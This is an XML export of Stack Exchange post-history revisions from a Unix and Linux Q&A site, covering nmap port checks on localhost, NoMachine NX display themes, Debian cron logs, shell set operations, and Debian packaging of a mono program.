  <row Id="28595" PostHistoryTypeId="5" PostId="11763" RevisionGUID="86da9dd0-4cc3-4af5-94ff-6fba47eb9739" CreationDate="2011-04-21T10:09:44.197" UserId="1925" Comment="Good job. When your answer gets upvoted above mine your relative reference will be invalid :)" Text="As suggested by @Caleb, `nmap` should be the tool of choice in this case. With `nmap` you can do like this:&#xD;&#xA;&#xD;&#xA;    nmap  127.0.0.1 -p 80,21-25&#xD;&#xA;&#xD;&#xA;to learn whether the ports are open or closed:&#xD;&#xA;&#xD;&#xA;    Starting Nmap 5.00 ( http://nmap.org ) at 2011-04-21 15:29 IST&#xD;&#xA;    Interesting ports on localhost (127.0.0.1):&#xD;&#xA;    PORT   STATE  SERVICE&#xD;&#xA;    25/tcp closed smtp&#xD;&#xA;    26/tcp closed rsftp&#xD;&#xA;    27/tcp closed nsw-fe&#xD;&#xA;    28/tcp closed unknown&#xD;&#xA;    29/tcp closed msg-icp&#xD;&#xA;    80/tcp open   http&#xD;&#xA;    &#xD;&#xA;    Nmap done: 1 IP address (1 host up) scanned in 0.12 seconds&#xD;&#xA;&#xD;&#xA;Nmap for Windows can be [downloaded from here][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://nmap.org/download.html" />
  <row Id="28596" PostHistoryTypeId="24" PostId="11763" RevisionGUID="86da9dd0-4cc3-4af5-94ff-6fba47eb9739" CreationDate="2011-04-21T10:09:44.197" Comment="Proposed by 1925 approved by -1 edit id of 305" />
  <row Id="28597" PostHistoryTypeId="5" PostId="11763" RevisionGUID="c533753c-4136-45a8-b27d-2be3ac324608" CreationDate="2011-04-21T10:09:44.603" UserId="885" Comment="added 112 characters in body" Text="As [suggested by Caleb](http://unix.stackexchange.com/questions/11756/identifying-open-and-closed-server-ip-address-ports/11762#11762), `nmap` should be the tool of choice in this case. With `nmap` you can do like this:&#xD;&#xA;&#xD;&#xA;    nmap  127.0.0.1 -p 80,21-25&#xD;&#xA;&#xD;&#xA;to learn whether the ports are open or closed:&#xD;&#xA;&#xD;&#xA;    Starting Nmap 5.00 ( http://nmap.org ) at 2011-04-21 15:29 IST&#xD;&#xA;    Interesting ports on localhost (127.0.0.1):&#xD;&#xA;    PORT   STATE  SERVICE&#xD;&#xA;    25/tcp closed smtp&#xD;&#xA;    26/tcp closed rsftp&#xD;&#xA;    27/tcp closed nsw-fe&#xD;&#xA;    28/tcp closed unknown&#xD;&#xA;    29/tcp closed msg-icp&#xD;&#xA;    80/tcp open   http&#xD;&#xA;    &#xD;&#xA;    Nmap done: 1 IP address (1 host up) scanned in 0.12 seconds&#xD;&#xA;&#xD;&#xA;Nmap for Windows can be [downloaded from here][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://nmap.org/download.html" />
  <row Id="28598" PostHistoryTypeId="5" PostId="11762" RevisionGUID="fbbbd975-748d-4721-92a9-ad7505b9a7fd" CreationDate="2011-04-21T10:10:00.047" UserId="3046" Comment="Added link to Fyodor's nmap page" Text="The network scanning app [`nmap`][1] would be a much more apt tool to scan a batch of IPs to figure out if the host is up and if a particular port is open.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://nmap.org/" />
  <row Id="28599" PostHistoryTypeId="24" PostId="11762" RevisionGUID="fbbbd975-748d-4721-92a9-ad7505b9a7fd" CreationDate="2011-04-21T10:10:00.047" Comment="Proposed by 3046 approved by 885 edit id of 304" />
  <row Id="28600" PostHistoryTypeId="2" PostId="11764" RevisionGUID="8795c145-38d8-4cd6-83ee-f12b27df20f9" CreationDate="2011-04-21T11:22:04.187" UserId="6828" Text="NX does not change the theme of your remote desktop setting. It will render to the local client what it picks up on the remote desktop.NX’s goal is to permit users to run, over the Internet, the same colourful and graphic intensive applications that run on their desktop computers. &#xD;&#xA;&#xD;&#xA;You have obviously set Gnome differently on your remote virtual desktop environment. Check your settings and theme on your remote environment and set them to what you want to them to be and NX will show you those next time you connect.&#xD;&#xA;&#xD;&#xA;NXer" />
  <row Id="28601" PostHistoryTypeId="10" PostId="11752" RevisionGUID="4749b507-51bf-48c1-90a5-0f2f6f4b5970" CreationDate="2011-04-21T11:44:39.557" UserId="-1" CloseReasonId="4" Text="[{&quot;Id&quot;:2180,&quot;DisplayName&quot;:&quot;Shawn J. Goff&quot;},{&quot;Id&quot;:885,&quot;DisplayName&quot;:&quot;Gilles&quot;},{&quot;Id&quot;:29,&quot;DisplayName&quot;:&quot;xenoterracide&quot;}]" />
  <row Id="28604" PostHistoryTypeId="25" PostId="11756" RevisionGUID="12096077-af94-4132-8685-c9df22bc0051" CreationDate="2011-04-21T12:09:09.700" Comment="http://twitter.com/#!/StackUnix/status/61038762788007937" />
  <row Id="28605" PostHistoryTypeId="5" PostId="11740" RevisionGUID="d5e7e41e-d89e-46f3-a733-26381637ac0c" CreationDate="2011-04-21T12:26:24.513" UserId="1974" Comment="added 238 characters in body" Text="I have set up the [NoMachine NX server](http://www.nomachine.com/) on a virtual machine running on a server in my datacenter to use for keeping applications running and connecting/disconnecting from them via my laptop. The problem is, applications I run on there are kinda... ugly!&#xD;&#xA;&#xD;&#xA;This is what Firefox looks like when running it through NoMachine:&#xD;&#xA;![NX Screenshot][1]&#xD;&#xA;&#xD;&#xA;And this is how it looks when running directly in the VMware console:&#xD;&#xA;![Direct Screenshot][2]&#xD;&#xA;&#xD;&#xA;How can I change how applications look when using NoMachine NX?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**EDIT:** I am starting the NX session using custom desktop settings. I have selected &quot;Run the console&quot; as the Application and &quot;FLoating Window&quot; under Options:&#xD;&#xA;&#xD;&#xA;![Custom Settings Screenshot][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/ROaCN.png&#xD;&#xA;  [2]: http://i.imgur.com/v4u5X.png&#xD;&#xA;  [3]: http://i.imgur.com/OxCTG.png" />
  <row Id="28606" PostHistoryTypeId="2" PostId="11765" RevisionGUID="e8cb9bb7-8211-484e-84b7-8abc26d672fc" CreationDate="2011-04-21T12:29:39.190" UserId="6215" Text="On Redhat systems cron logs into `/var/log/cron` file. What is the equivalent of that file on Debian systems?" />
  <row Id="28607" PostHistoryTypeId="1" PostId="11765" RevisionGUID="e8cb9bb7-8211-484e-84b7-8abc26d672fc" CreationDate="2011-04-21T12:29:39.190" UserId="6215" Text="Cron log on debian systems" />
  <row Id="28608" PostHistoryTypeId="3" PostId="11765" RevisionGUID="e8cb9bb7-8211-484e-84b7-8abc26d672fc" CreationDate="2011-04-21T12:29:39.190" UserId="6215" Text="élogsàécronà" />
  <row Id="28609" PostHistoryTypeId="5" PostId="11667" RevisionGUID="4b7dc4ad-a820-458d-b069-0b8fc11f5473" CreationDate="2011-04-21T12:42:07.940" UserId="6575" Comment="added 1168 characters in body" Text="Set Membership&#xD;&#xA;&#xD;&#xA;    $ grep -xc 'element' set    # outputs 1 if element is in set&#xD;&#xA;                                # outputs &gt;1 if set is a multi-set&#xD;&#xA;                                # outputs 0 if element is not in set&#xD;&#xA;    &#xD;&#xA;    $ grep -xq 'element' set    # returns 0 (true)  if element is in set&#xD;&#xA;                                # returns 1 (false) if element is not in set&#xD;&#xA;    &#xD;&#xA;    $ awk '$0 == &quot;element&quot; { s=1; exit } END { exit !s }' set&#xD;&#xA;    # returns 0 if element is in set, 1 otherwise.&#xD;&#xA;    &#xD;&#xA;    $ awk -v e='element' '$0 == e { s=1; exit } END { exit !s }'&#xD;&#xA;&#xD;&#xA;Set Intersection&#xD;&#xA;&#xD;&#xA;    $ comm -12 &lt;(sort set1) &lt;(sort set2)  # outputs insersect of set1 and set2&#xD;&#xA;    &#xD;&#xA;    $ grep -xF -f set1 set2&#xD;&#xA;    &#xD;&#xA;    $ sort set1 set2 | uniq -d&#xD;&#xA;    &#xD;&#xA;    $ join &lt;(sort -n A) &lt;(sort -n B)&#xD;&#xA;    &#xD;&#xA;    $ awk 'NR==FNR { a[$0]; next } $0 in a' set1 set2&#xD;&#xA;&#xD;&#xA;Set Complement&#xD;&#xA;&#xD;&#xA;    $ comm -23 &lt;(sort set1) &lt;(sort set2)&#xD;&#xA;    # outputs elements in set1 that are not in set2&#xD;&#xA;    &#xD;&#xA;    $ grep -vxF -f set2 set1           # ditto&#xD;&#xA;    &#xD;&#xA;    $ sort set2 set2 set1 | uniq -u    # ditto&#xD;&#xA;    &#xD;&#xA;    $ awk 'NR==FNR { a[$0]; next } !($0 in a)' set2 set1&#xD;&#xA;&#xD;&#xA;.........&#xD;&#xA;&#xD;&#xA; All available at [http://www.catonmat.net/blog/set-operations-in-unix-shell-simplified/][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.catonmat.net/blog/set-operations-in-unix-shell-simplified/" />
  <row Id="28610" PostHistoryTypeId="5" PostId="11667" RevisionGUID="d649ad2d-96f1-44cd-8434-8c31b1d9ba43" CreationDate="2011-04-21T13:00:55.717" UserId="6575" Comment="added 3433 characters in body" Text="Set Membership&#xD;&#xA;&#xD;&#xA;    $ grep -xc 'element' set    # outputs 1 if element is in set&#xD;&#xA;                                # outputs &gt;1 if set is a multi-set&#xD;&#xA;                                # outputs 0 if element is not in set&#xD;&#xA;    &#xD;&#xA;    $ grep -xq 'element' set    # returns 0 (true)  if element is in set&#xD;&#xA;                                # returns 1 (false) if element is not in set&#xD;&#xA;    &#xD;&#xA;    $ awk '$0 == &quot;element&quot; { s=1; exit } END { exit !s }' set&#xD;&#xA;    # returns 0 if element is in set, 1 otherwise.&#xD;&#xA;    &#xD;&#xA;    $ awk -v e='element' '$0 == e { s=1; exit } END { exit !s }'&#xD;&#xA;&#xD;&#xA;Set Intersection&#xD;&#xA;&#xD;&#xA;    $ comm -12 &lt;(sort set1) &lt;(sort set2)  # outputs insersect of set1 and set2&#xD;&#xA;    &#xD;&#xA;    $ grep -xF -f set1 set2&#xD;&#xA;    &#xD;&#xA;    $ sort set1 set2 | uniq -d&#xD;&#xA;    &#xD;&#xA;    $ join &lt;(sort -n A) &lt;(sort -n B)&#xD;&#xA;    &#xD;&#xA;    $ awk 'NR==FNR { a[$0]; next } $0 in a' set1 set2&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Set Equality&#xD;&#xA;&#xD;&#xA;    $ diff -q &lt;(sort set1) &lt;(sort set2) # returns 0 if set1 is equal to set2&#xD;&#xA;                                        # returns 1 if set1 != set2&#xD;&#xA;    &#xD;&#xA;    $ diff -q &lt;(sort set1 | uniq) &lt;(sort set2 | uniq)&#xD;&#xA;    # collapses multi-sets into sets and does the same as previous&#xD;&#xA;    &#xD;&#xA;    $ awk '{ if (!($0 in a)) c++; a[$0] } END{ exit !(c==NR/2) }' set1 set2&#xD;&#xA;    # returns 0 if set1 == set2&#xD;&#xA;    # returns 1 if set1 != set2&#xD;&#xA;    &#xD;&#xA;    $ awk '{ a[$0] } END{ exit !(length(a)==NR/2) }' set1 set2&#xD;&#xA;    # same as previous, requires &gt;= gnu awk 3.1.5&#xD;&#xA;    &#xD;&#xA;Set Cardinality&#xD;&#xA;    &#xD;&#xA;    $ wc -l set | cut -d' ' -f1    # outputs number of elements in set&#xD;&#xA;    &#xD;&#xA;    $ wc -l &lt; set&#xD;&#xA;    &#xD;&#xA;    $ awk 'END { print NR }' set&#xD;&#xA;&#xD;&#xA;Subset Test&#xD;&#xA;&#xD;&#xA;    $ comm -23 &lt;(sort subset | uniq) &lt;(sort set | uniq) | head -1&#xD;&#xA;    # outputs something if subset is not a subset of set&#xD;&#xA;    # does not putput anything if subset is a subset of set&#xD;&#xA;    &#xD;&#xA;    $ awk 'NR==FNR { a[$0]; next } { if !($0 in a) exit 1 }' set subset&#xD;&#xA;    # returns 0 if subset is a subset of set&#xD;&#xA;    # returns 1 if subset is not a subset of set&#xD;&#xA;&#xD;&#xA;Set Union&#xD;&#xA;&#xD;&#xA;    $ cat set1 set2     # outputs union of set1 and set2&#xD;&#xA;                        # assumes they are disjoint&#xD;&#xA;    &#xD;&#xA;    $ awk 1 set1 set2   # ditto&#xD;&#xA;    &#xD;&#xA;    $ cat set1 set2 ... setn   # union over n sets&#xD;&#xA;    &#xD;&#xA;    $ cat set1 set2 | sort -u  # same, but assumes they are not disjoint&#xD;&#xA;    &#xD;&#xA;    $ sort set1 set2 | uniq&#xD;&#xA;    &#xD;&#xA;    # sort -u set1 set2&#xD;&#xA;    &#xD;&#xA;    $ awk '!a[$0]++'           # ditto&#xD;&#xA;&#xD;&#xA;Set Intersection&#xD;&#xA;&#xD;&#xA;    $ comm -12 &lt;(sort set1) &lt;(sort set2)  # outputs insersect of set1 and set2&#xD;&#xA;    &#xD;&#xA;    $ grep -xF -f set1 set2&#xD;&#xA;    &#xD;&#xA;    $ sort set1 set2 | uniq -d&#xD;&#xA;    &#xD;&#xA;    $ join &lt;(sort -n A) &lt;(sort -n B)&#xD;&#xA;    &#xD;&#xA;    $ awk 'NR==FNR { a[$0]; next } $0 in a' set1 set2&#xD;&#xA;&#xD;&#xA;Set Complement&#xD;&#xA;&#xD;&#xA;    $ comm -23 &lt;(sort set1) &lt;(sort set2)&#xD;&#xA;    # outputs elements in set1 that are not in set2&#xD;&#xA;    &#xD;&#xA;    $ grep -vxF -f set2 set1           # ditto&#xD;&#xA;    &#xD;&#xA;    $ sort set2 set2 set1 | uniq -u    # ditto&#xD;&#xA;    &#xD;&#xA;    $ awk 'NR==FNR { a[$0]; next } !($0 in a)' set2 set1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Set Symmetric Difference&#xD;&#xA;&#xD;&#xA;    $ comm -3 &lt;(sort set1) &lt;(sort set2) | sed 's/\t//g'&#xD;&#xA;    # outputs elements that are in set1 or in set2 but not both&#xD;&#xA;    &#xD;&#xA;    $ comm -3 &lt;(sort set1) &lt;(sort set2) | tr -d '\t'&#xD;&#xA;    &#xD;&#xA;    $ sort set1 set2 | uniq -u&#xD;&#xA;    &#xD;&#xA;    $ cat &lt;(grep -vxF -f set1 set2) &lt;(grep -vxF -f set2 set1)&#xD;&#xA;    &#xD;&#xA;    $ grep -vxF -f set1 set2; grep -vxF -f set2 set1&#xD;&#xA;    &#xD;&#xA;    $ awk 'NR==FNR { a[$0]; next } $0 in a { delete a[$0]; next } 1;&#xD;&#xA;           END { for (b in a) print b }' set1 set2&#xD;&#xA;&#xD;&#xA;Power Set&#xD;&#xA;&#xD;&#xA;    $ p() { [ $# -eq 0 ] &amp;&amp; echo || (shift; p &quot;$@&quot;) |&#xD;&#xA;            while read r ; do echo -e &quot;$1 $r\n$r&quot;; done }&#xD;&#xA;    $ p `cat set`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Set Cartesian Product&#xD;&#xA;&#xD;&#xA;    $ while read a; do while read b; do echo &quot;$a, $b&quot;; done &lt; set1; done &lt; set2&#xD;&#xA;    &#xD;&#xA;    $ awk 'NR==FNR { a[$0]; next } { for (i in a) print i, $0 }' set1 set2&#xD;&#xA;&#xD;&#xA;Disjoint Set Test&#xD;&#xA;&#xD;&#xA;    $ comm -12 &lt;(sort set1) &lt;(sort set2)  # does not output anything if disjoint&#xD;&#xA;    &#xD;&#xA;    $ awk '++seen[$0] == 2 { exit 1 }' set1 set2 # returns 0 if disjoint&#xD;&#xA;                                                 # returns 1 if not&#xD;&#xA;&#xD;&#xA;Empty Set Test&#xD;&#xA;&#xD;&#xA;    $ wc -l &lt; set            # outputs 0  if the set is empty&#xD;&#xA;                             # outputs &gt;0 if the set is not empty&#xD;&#xA;    &#xD;&#xA;    $ awk '{ exit 1 }' set   # returns 0 if set is empty, 1 otherwise&#xD;&#xA;&#xD;&#xA;Minimum&#xD;&#xA;&#xD;&#xA;    $ head -1 &lt;(sort set)    # outputs the minimum element in the set&#xD;&#xA;    &#xD;&#xA;    $ awk 'NR == 1 { min = $0 } $0 &lt; min { min = $0 } END { print min }'&#xD;&#xA;&#xD;&#xA;Maximum&#xD;&#xA;&#xD;&#xA;    $ tail -1 &lt;(sort set)    # outputs the maximum element in the set&#xD;&#xA;    &#xD;&#xA;    $ awk '$0 &gt; max { max = $0 } END { print max }'&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; All available at [http://www.catonmat.net/blog/set-operations-in-unix-shell-simplified/][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.catonmat.net/blog/set-operations-in-unix-shell-simplified/" />
  <row Id="28611" PostHistoryTypeId="5" PostId="11740" RevisionGUID="2feed75f-e43e-40c8-ba8c-c33997971463" CreationDate="2011-04-21T13:02:57.120" UserId="1974" Comment="added 115 characters in body" Text="I have set up the [NoMachine NX server](http://www.nomachine.com/) on a virtual machine running on a server in my datacenter to use for keeping applications running and connecting/disconnecting from them via my laptop. The problem is, applications I run on there are kinda... ugly!&#xD;&#xA;&#xD;&#xA;This is what Firefox looks like when running it through NoMachine:&#xD;&#xA;![NX Screenshot][1]&#xD;&#xA;&#xD;&#xA;And this is how it looks when running directly in the VMware console:&#xD;&#xA;![Direct Screenshot][2]&#xD;&#xA;&#xD;&#xA;How can I change how applications look when using NoMachine NX?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**EDIT:** I am starting the NX session using custom desktop settings. I have selected &quot;Run the console&quot; as the Application and &quot;Floating Window&quot; under the &quot;custom desktop&quot; settings under the &quot;Configure...&quot; screen:&#xD;&#xA;&#xD;&#xA;![Configure screen][3]&#xD;&#xA;![Custom Settings Screenshot][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/ROaCN.png&#xD;&#xA;  [2]: http://i.imgur.com/v4u5X.png&#xD;&#xA;  [3]: http://i.imgur.com/F1HUH.png&#xD;&#xA;  [4]: http://i.imgur.com/OxCTG.png" />
  <row Id="28612" PostHistoryTypeId="2" PostId="11766" RevisionGUID="5c13a277-534a-4995-bfbf-076b8d8b64d7" CreationDate="2011-04-21T13:11:30.510" UserId="1594" Text="It looks like a restart did it." />
  <row Id="28613" PostHistoryTypeId="2" PostId="11767" RevisionGUID="c50611d8-0e10-406e-8b89-0e43a618d576" CreationDate="2011-04-21T13:13:30.217" UserId="1389" Text="I keep getting this strange message when I open a terminal.&#xD;&#xA;&#xD;&#xA;    me@batcuter:~$ &#xD;&#xA;    Message from syslogd@batcuter at Apr 21 14:10:38 ...&#xD;&#xA;      such IMContext&#xD;&#xA;    &#xD;&#xA;    Message from syslogd@batcuter at Apr 21 14:10:38 ...&#xD;&#xA;      such IMContext&#xD;&#xA;    &#xD;&#xA;    Message from syslogd@batcuter at Apr 21 14:10:43 ...&#xD;&#xA;      invalid char is given at scim_bridge_string_to_uint (): -&#xD;&#xA;    &#xD;&#xA;    Message from syslogd@batcuter at Apr 21 14:10:43 ...&#xD;&#xA;     valid message: Close the connection.&#xD;&#xA;&#xD;&#xA;I have no idea what's happening...&#xD;&#xA;&#xD;&#xA;1) Where can I read these logs?&#xD;&#xA;&#xD;&#xA;2) Should I be afraid of a malicious cyberattack?" />
  <row Id="28614" PostHistoryTypeId="1" PostId="11767" RevisionGUID="c50611d8-0e10-406e-8b89-0e43a618d576" CreationDate="2011-04-21T13:13:30.217" UserId="1389" Text="why do i get this message whenever I open a terminal?" />
  <row Id="28615" PostHistoryTypeId="3" PostId="11767" RevisionGUID="c50611d8-0e10-406e-8b89-0e43a618d576" CreationDate="2011-04-21T13:13:30.217" UserId="1389" Text="élogsà" />
  <row Id="28616" PostHistoryTypeId="5" PostId="11767" RevisionGUID="eae66229-f895-44dd-9fc0-444cd1ef4b7c" CreationDate="2011-04-21T13:19:04.743" UserId="73" Comment="edited body; edited title" Text="I keep getting this strange message when I open a terminal:&#xD;&#xA;&#xD;&#xA;    me@batcuter:~$ &#xD;&#xA;    Message from syslogd@batcuter at Apr 21 14:10:38 ...&#xD;&#xA;      such IMContext&#xD;&#xA;    &#xD;&#xA;    Message from syslogd@batcuter at Apr 21 14:10:38 ...&#xD;&#xA;      such IMContext&#xD;&#xA;    &#xD;&#xA;    Message from syslogd@batcuter at Apr 21 14:10:43 ...&#xD;&#xA;      invalid char is given at scim_bridge_string_to_uint (): -&#xD;&#xA;    &#xD;&#xA;    Message from syslogd@batcuter at Apr 21 14:10:43 ...&#xD;&#xA;     valid message: Close the connection.&#xD;&#xA;&#xD;&#xA;I have no idea what's happening...&#xD;&#xA;&#xD;&#xA;1. Where can I read these logs?&#xD;&#xA;2. Should I be afraid of a malicious cyberattack?&#xD;&#xA;" />
  <row Id="28617" PostHistoryTypeId="4" PostId="11767" RevisionGUID="eae66229-f895-44dd-9fc0-444cd1ef4b7c" CreationDate="2011-04-21T13:19:04.743" UserId="73" Comment="edited body; edited title" Text="Why do I get this message whenever I open a terminal?" />
  <row Id="28618" PostHistoryTypeId="2" PostId="11768" RevisionGUID="ad64cf79-b6ec-47a8-8972-73209c2c6d0c" CreationDate="2011-04-21T13:21:58.663" UserId="4404" Text="Under Ubuntu, `cron` writes logs via `rsyslogd` to `/var/log/syslog`. You can redirect messages from `cron` to another file by uncommenting one line in  `/etc/rsyslog.d/50-default.conf`. I believe, the same applies to Debian." />
  <row Id="28619" PostHistoryTypeId="2" PostId="11769" RevisionGUID="9a278265-5865-4d27-b47c-bd80d1c2cbe2" CreationDate="2011-04-21T13:31:53.340" UserId="6831" Text="I'm trying to build a debian package for a program that uses mono. My `make install` target currently puts all of my binaries `/usr/local/lib/mypackage`, then creates a tiny executable script in `/usr/local/bin` that invokes the actual binaries with mono. I use a one-liner to replace the placeholder `PREFIX` with the actual install path:&#xD;&#xA;&#xD;&#xA;    install: DESTDIR=/usr/local&#xD;&#xA;    install: LIBDIR=$(DESTDIR)/lib&#xD;&#xA;    install: BINDIR=$(DESTDIR)/bin&#xD;&#xA;    install: $(PHONIX) $(ANTLR) doc&#xD;&#xA;    	install -m 0755 -d $(LIBDIR)/phonix&#xD;&#xA;    	install -m 0755 -t $(LIBDIR)/phonix $(PHONIX) $(ANTLER)&#xD;&#xA;    	install -m 0755 -D phonix.sh $(BINDIR)/phonix&#xD;&#xA;    	sed -i &quot;s!PREFIX!$(LIBDIR)!&quot; $(BINDIR)/phonix&#xD;&#xA;&#xD;&#xA;When I'm running under `dh_make`, `$(LIBDIR)` and `$(BINDIR)` point to the packaging directory as desired. Everything gets installed into the right place for the packager, but the `sed` call puts the path of my local packaging directory into the script, which then gets placed verbatim in the package. This obviously doesn't work once I actually install the package on the target system.&#xD;&#xA;&#xD;&#xA;I think that I need to move the `sed` call into the post-install script, but I'm not sure how to get the local install directory (the moral equivalent of my `$(LIBDIR)` and `$(BINDIR)`) in the post-install step. Or is there a better way altogether to do this?" />
  <row Id="28620" PostHistoryTypeId="1" PostId="11769" RevisionGUID="9a278265-5865-4d27-b47c-bd80d1c2cbe2" CreationDate="2011-04-21T13:31:53.340" UserId="6831" Text="Creating a .sh wrapper in my debian package" />
  <row Id="28621" PostHistoryTypeId="3" PostId="11769" RevisionGUID="9a278265-5865-4d27-b47c-bd80d1c2cbe2" CreationDate="2011-04-21T13:31:53.340" UserId="6831" Text="édebianàépackagingà" />
  <row Id="28622" PostHistoryTypeId="2" PostId="11770" RevisionGUID="b941798c-7cb6-4371-bca5-5a8fee6ef576" CreationDate="2011-04-21T14:02:28.667" UserId="1594" Text="Watching a youtube video, I click on &quot;maximize to full screen&quot; (the flash button). It maximizes to the wrong screen. How can I choose which screen will display the vid?" />
  <row Id="28623" PostHistoryTypeId="1" PostId="11770" RevisionGUID="b941798c-7cb6-4371-bca5-5a8fee6ef576" CreationDate="2011-04-21T14:02:28.667" UserId="1594" Text="Can I choose which of my dual screens a youtube video will maximize to?" />
  <row Id="28624" PostHistoryTypeId="3" PostId="11770" RevisionGUID="b941798c-7cb6-4371-bca5-5a8fee6ef576" CreationDate="2011-04-21T14:02:28.667" UserId="1594" Text="échromeàédualömonitoràéyoutubeà" />
  <row Id="28625" PostHistoryTypeId="2" PostId="11771" RevisionGUID="eb110216-94c0-454d-9cc0-009dfa7ee00d" CreationDate="2011-04-19T20:27:14.043" UserId="6630" Text="I've changed my login shell to zsh from bash on an installation of Debian Squeeze with XFCE.  When I launch xfce4-terminal, zsh starts but does not load my configuration.  I have searched high and low, but have come to SO to extend beyond my regular limits and see if someone can assist in diagnosing this.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="28626" PostHistoryTypeId="1" PostId="11771" RevisionGUID="eb110216-94c0-454d-9cc0-009dfa7ee00d" CreationDate="2011-04-19T20:27:14.043" UserId="6630" Text="zsh and xfce4-terminal" />
  <row Id="28627" PostHistoryTypeId="3" PostId="11771" RevisionGUID="eb110216-94c0-454d-9cc0-009dfa7ee00d" CreationDate="2011-04-19T20:27:14.043" UserId="6630" Text="ézshàézshrcàéxfceà" />
  <row Id="28628" PostHistoryTypeId="17" PostId="11771" RevisionGUID="3e5c4ea9-e06a-469f-b613-5dac6dee0af3" CreationDate="2011-04-21T14:27:13.930" UserId="-1" Comment="from http://stackoverflow.com/questions/5722269/zsh-and-xfce4-terminal" Text="" />
  <row Id="28630" PostHistoryTypeId="5" PostId="11763" RevisionGUID="a114c65d-5eb0-4f38-b1b8-c4b835921b42" CreationDate="2011-04-21T14:45:56.867" UserId="3879" Comment="illustrated the code in example" Text="As [suggested by Caleb](http://unix.stackexchange.com/questions/11756/identifying-open-and-closed-server-ip-address-ports/11762#11762), `nmap` should be the tool of choice in this case. With `nmap` you can do like this:&#xD;&#xA;&#xD;&#xA;    nmap  127.0.0.1 -p 80,21-25&#xD;&#xA;&#xD;&#xA;to learn whether one or more ports (in this example port #s 21-25, and 80) are open or closed on a particular IP address. In my machine I get the following output:&#xD;&#xA;&#xD;&#xA;    Starting Nmap 5.00 ( http://nmap.org ) at 2011-04-21 15:29 IST&#xD;&#xA;    Interesting ports on localhost (127.0.0.1):&#xD;&#xA;    PORT   STATE  SERVICE&#xD;&#xA;    25/tcp closed smtp&#xD;&#xA;    26/tcp closed rsftp&#xD;&#xA;    27/tcp closed nsw-fe&#xD;&#xA;    28/tcp closed unknown&#xD;&#xA;    29/tcp closed msg-icp&#xD;&#xA;    80/tcp open   http&#xD;&#xA;    &#xD;&#xA;    Nmap done: 1 IP address (1 host up) scanned in 0.12 seconds&#xD;&#xA;&#xD;&#xA;Nmap for Windows can be [downloaded from here][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://nmap.org/download.html" />
  <row Id="28631" PostHistoryTypeId="5" PostId="11769" RevisionGUID="04714208-c65d-4d12-aa65-98aa51d7c250" CreationDate="2011-04-21T14:59:33.027" UserId="6831" Comment="added actual content of .sh file" Text="I'm trying to build a debian package for a program that uses mono. My `make install` target currently puts all of my binaries `/usr/local/lib/mypackage`, then creates a tiny executable script in `/usr/local/bin` that invokes the actual binaries with mono. I use a one-liner to replace the placeholder `PREFIX` with the actual install path:&#xD;&#xA;&#xD;&#xA;    install: DESTDIR=/usr/local&#xD;&#xA;    install: LIBDIR=$(DESTDIR)/lib&#xD;&#xA;    install: BINDIR=$(DESTDIR)/bin&#xD;&#xA;    install: $(PHONIX) $(ANTLR) doc&#xD;&#xA;    	install -m 0755 -d $(LIBDIR)/phonix&#xD;&#xA;    	install -m 0755 -t $(LIBDIR)/phonix $(PHONIX) $(ANTLER)&#xD;&#xA;    	install -m 0755 -D phonix.sh $(BINDIR)/phonix&#xD;&#xA;    	sed -i &quot;s!PREFIX!$(LIBDIR)!&quot; $(BINDIR)/phonix&#xD;&#xA;&#xD;&#xA;When I'm running under `dh_make`, `$(LIBDIR)` and `$(BINDIR)` point to the packaging directory as desired. Everything gets installed into the right place for the packager, but the `sed` call puts the path of my local packaging directory into the script, which then gets placed verbatim in the package. This obviously doesn't work once I actually install the package on the target system.&#xD;&#xA;&#xD;&#xA;I think that I need to move the `sed` call into the post-install script, but I'm not sure how to get the local install directory (the moral equivalent of my `$(LIBDIR)` and `$(BINDIR)`) in the post-install step. Or is there a better way altogether to do this?&#xD;&#xA;&#xD;&#xA;&lt;hr /&gt;&#xD;&#xA;**Edit**: Here's my actual `phonix.sh` file, before sed is called:&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/sh&#xD;&#xA;&#xD;&#xA;    exec mono PREFIX/phonix.exe&#xD;&#xA;&#xD;&#xA;As you can see, the *only* purpose of this file is to provide an executable wrapper for the mono-based .exe. The sed call just replaces `PREFIX` with the value of `$(LIBDIR)`. So all I really need to know is *how can I get the actual installed location of my .exe on the target system* so that the wrapper script works?" />
  <row Id="28632" PostHistoryTypeId="25" PostId="11765" RevisionGUID="c1f06727-664d-4e37-b819-0c7385b569ed" CreationDate="2011-04-21T15:09:09.990" Comment="http://twitter.com/#!/StackUnix/status/61084062877626368" />
  <row Id="28635" PostHistoryTypeId="6" PostId="11769" RevisionGUID="e691d0bb-2f78-4573-aabc-e4f3dda19ce0" CreationDate="2011-04-21T15:37:12.607" UserId="6831" Comment="added [mono]" Text="édebianàépackagingàémonoà" />
  <row Id="28636" PostHistoryTypeId="2" PostId="11773" RevisionGUID="e9672ecd-e26f-43d4-8da7-5209eb9d52b4" CreationDate="2011-04-21T15:38:02.267" UserId="6835" Text="The newgroups command is useful for adding or modifying users in bulk. Is there an equivalent command for managing groups?" />
  <row Id="28637" PostHistoryTypeId="1" PostId="11773" RevisionGUID="e9672ecd-e26f-43d4-8da7-5209eb9d52b4" CreationDate="2011-04-21T15:38:02.267" UserId="6835" Text="Equivalent of newusers for groups" />
  <row Id="28638" PostHistoryTypeId="3" PostId="11773" RevisionGUID="e9672ecd-e26f-43d4-8da7-5209eb9d52b4" CreationDate="2011-04-21T15:38:02.267" UserId="6835" Text="éusersàéadministrationà" />
